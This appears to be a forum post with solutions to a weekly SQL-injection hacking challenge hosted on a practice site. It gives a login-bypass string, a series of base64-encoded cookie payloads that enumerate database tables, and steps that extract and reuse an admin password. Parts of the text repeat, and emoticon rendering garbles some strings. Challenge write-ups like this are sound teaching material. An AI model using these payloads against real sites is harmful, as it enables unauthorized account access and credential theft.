The challenges from week 3 can be found here: https://www.mc-market.org/threads/588048/
Week 3s challenges were based around the theme of SQL injection (video). Thanks to hgbf this week for all front-end development.
Week 4s challenges will be slightly delayed and I may take a week off therefore releasing them next week as I have been incredibly busy and they take time to make. Therefore the current challenges will be up until the next ones are out see feel free to mess around with it until my free trial of the database expires
Thanks for playing.
Week 3s challenges were based around the theme of SQL injection (video). Thanks to hgbf this week for all front-end development.
For the easy challenge you had to gain access to any account on the website at http://cyberchallenge.tk/easy/. After some browsing the site you would find a simple login page, this was actually vulnerable to SQL injection. To hint towards this I left a developer note in the html to say it was a vulnerability needing to be patched:
The login request that would be sent to the database when you log in would look like the following:
If a user was to insert a quotation mark into the username or password section then as you can guess, it would mess with the query statement.
Please read this blog post about SQL injection and how it can be utilised to gain access to an account on a site.
In the end you could input a username and password such as
to bypass the login and gain access to the first account in the database.
Once you login you would see this screen to know that you completed the challenge:
The login request that would be sent to the database when you log in would look like the following:
Code:
SELECT * FROM users WHERE username='USERNAME' AND password='PASSWORD'Please read this blog post about SQL injection and how it can be utilised to gain access to an account on a site.
In the end you could input a username and password such as
Code:
' OR '1'='1Once you login you would see this screen to know that you completed the challenge:
PLEASE NOTE: Any stick out tongue faces you see ( ) are actually a comma and then a "p" like shown but without a space ": p"
The hard challenge this week was quite difficult depending on your knowledge however many users accomplished it which is good to see.
The hard site's login page had a developer note specifying that and SQL injection vulnerability had been recently patched, however this isn't to say the whole site wasn't protected:
When you logged in with the provided user credentials ("usualmugs":"password123"), you were taken to a profile page. As a hint, I left a developer note in the html noting it had an SQL injection vulnerability where it provided the username and account type:
This suggests that when you load the page, you user account is loaded from the database in an unsafe way.
Upon inspection of the cookies active on the page, you would find one named "b64_sql_user" which was the cookie used to save the current user. If you google "b64" you will be led to base64 which is an encoding method.
If you decoded the cookie's value using and online base64 decoder then you would see the cookie had the value "usualmugsassword123". Funnily enough this is the username and password we are currently using to login - not a very secure site at all.
Seen as though the cookie name also mentions SQL and we know it uses SQL to load user data to the profile page, what happens if we simply add a quotation mark at the end of the cookie's value.
To do this we head over to an online base64 encoder, enter the text "usualmugsassword123' " and hit encode. This would return the text "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJw==". Simply set the b64_sql_user cookie's value to this using the method discussed in week 2s solution thread.
Refreshing the page would cause an error in the server resulting in no username or account type displayed. This tells us that the site is vulnerable to an SQL injection using cookies.
Our goal in this challenge was to gain access to the admin user, so let's explore our options with SQL injection here a bit more. We could change the cookie to "usualmugsassword123' OR '1'='1" encoded with base64 ("dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBPUiAnMSc9JzE=") and refresh the page to see all the usernames and account types. This works because for every entry in the database the query will now be checking if 1=1 too which, of course, is always true displaying the following result:
That's great and all but we need the admin's password! Let's note down the admin's username for now as it will be useful to us later ("admin48245"). It is very likely that the table where the users are stored in the database also contains each user's password. So to find out information of the table we are currently selecting from, we can add data to the bottom of our currently return results with the MySQL "UNION" statement.
To show all table names in the database, we must set our cookies value to the encoded following "usualmugsassword123' UNION SELECT table_name FROM information_schema.tables-- -" which is "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgdGFibGVfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt".
This works because currently the query only selects one column from the table whether it be username or account type therefore we must abide by this rule and only use union with one column ("table_name") to append data to the bottom of our current result. The hyphens at the end of the statement are a MySQL comment to comment the rest of the actual statement out as it interferes with our query.
Refreshing the page with this cookie would display all tables in the current database including a table names "users".
Now that we know the table is named "users", we can start to act on this information.
To get information on the columns in that table we can change our query to "usualmugsassword123' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -" which base64 encodes to "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSd1c2VycyctLSAt".
Simply set this as our cookie value and refresh to see we have columns named "username", "password" and "type".
The "password" column sounds particularly juicy to us.
It is time to collaborate all information we have gained to far into one SQL statement to steal the admin credentials. I used the SQL statement "usualmugsassword123' UNION SELECT password FROM users WHERE username='admin48245'-- -" and encoded it with base64 to get "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgcGFzc3dvcmQgRlJPTSB1c2VycyBXSEVSRSB1c2VybmFtZT0nYWRtaW40ODI0NSctLSAt". Set this as you cookie value and refresh to see the plain text admin password ("X_NVvm9@644f$a6p"), how secure!
Now simply change our cookie to be "admin48245:X_NVvm9@644f$a6p" encoded with base64 to get "YWRtaW40ODI0NTpYX05Wdm05QDY0NGYkYTZw" and refresh.
This was how you completed the challenge and accessed the admin account:
) are actually a comma and then a "p" like shown but without a space ": p"The hard challenge this week was quite difficult depending on your knowledge however many users accomplished it which is good to see.
The hard site's login page had a developer note specifying that and SQL injection vulnerability had been recently patched, however this isn't to say the whole site wasn't protected:
When you logged in with the provided user credentials ("usualmugs":"password123"), you were taken to a profile page. As a hint, I left a developer note in the html noting it had an SQL injection vulnerability where it provided the username and account type:
This suggests that when you load the page, you user account is loaded from the database in an unsafe way.
Upon inspection of the cookies active on the page, you would find one named "b64_sql_user" which was the cookie used to save the current user. If you google "b64" you will be led to base64 which is an encoding method.
If you decoded the cookie's value using and online base64 decoder then you would see the cookie had the value "usualmugs
assword123". Funnily enough this is the username and password we are currently using to login - not a very secure site at all.Seen as though the cookie name also mentions SQL and we know it uses SQL to load user data to the profile page, what happens if we simply add a quotation mark at the end of the cookie's value.
To do this we head over to an online base64 encoder, enter the text "usualmugs
assword123' " and hit encode. This would return the text "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJw==". Simply set the b64_sql_user cookie's value to this using the method discussed in week 2s solution thread.Refreshing the page would cause an error in the server resulting in no username or account type displayed. This tells us that the site is vulnerable to an SQL injection using cookies.
Our goal in this challenge was to gain access to the admin user, so let's explore our options with SQL injection here a bit more. We could change the cookie to "usualmugs
assword123' OR '1'='1" encoded with base64 ("dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBPUiAnMSc9JzE=") and refresh the page to see all the usernames and account types. This works because for every entry in the database the query will now be checking if 1=1 too which, of course, is always true displaying the following result:
That's great and all but we need the admin's password! Let's note down the admin's username for now as it will be useful to us later ("admin48245"). It is very likely that the table where the users are stored in the database also contains each user's password. So to find out information of the table we are currently selecting from, we can add data to the bottom of our currently return results with the MySQL "UNION" statement.
To show all table names in the database, we must set our cookies value to the encoded following "usualmugs
assword123' UNION SELECT table_name FROM information_schema.tables-- -" which is "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgdGFibGVfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt".This works because currently the query only selects one column from the table whether it be username or account type therefore we must abide by this rule and only use union with one column ("table_name") to append data to the bottom of our current result. The hyphens at the end of the statement are a MySQL comment to comment the rest of the actual statement out as it interferes with our query.
Refreshing the page with this cookie would display all tables in the current database including a table names "users".
Now that we know the table is named "users", we can start to act on this information.
To get information on the columns in that table we can change our query to "usualmugs
assword123' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -" which base64 encodes to "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSd1c2VycyctLSAt".Simply set this as our cookie value and refresh to see we have columns named "username", "password" and "type".
The "password" column sounds particularly juicy to us.
It is time to collaborate all information we have gained to far into one SQL statement to steal the admin credentials. I used the SQL statement "usualmugs
assword123' UNION SELECT password FROM users WHERE username='admin48245'-- -" and encoded it with base64 to get "dXN1YWxtdWdzOnBhc3N3b3JkMTIzJyBVTklPTiBTRUxFQ1QgcGFzc3dvcmQgRlJPTSB1c2VycyBXSEVSRSB1c2VybmFtZT0nYWRtaW40ODI0NSctLSAt". Set this as you cookie value and refresh to see the plain text admin password ("X_NVvm9@644f$a6p"), how secure!Now simply change our cookie to be "admin48245:X_NVvm9@644f$a6p" encoded with base64 to get "YWRtaW40ODI0NTpYX05Wdm05QDY0NGYkYTZw" and refresh.
This was how you completed the challenge and accessed the admin account:
Week 4s challenges will be slightly delayed and I may take a week off therefore releasing them next week as I have been incredibly busy and they take time to make. Therefore the current challenges will be up until the next ones are out see feel free to mess around with it until my free trial of the database expires
Thanks for playing.
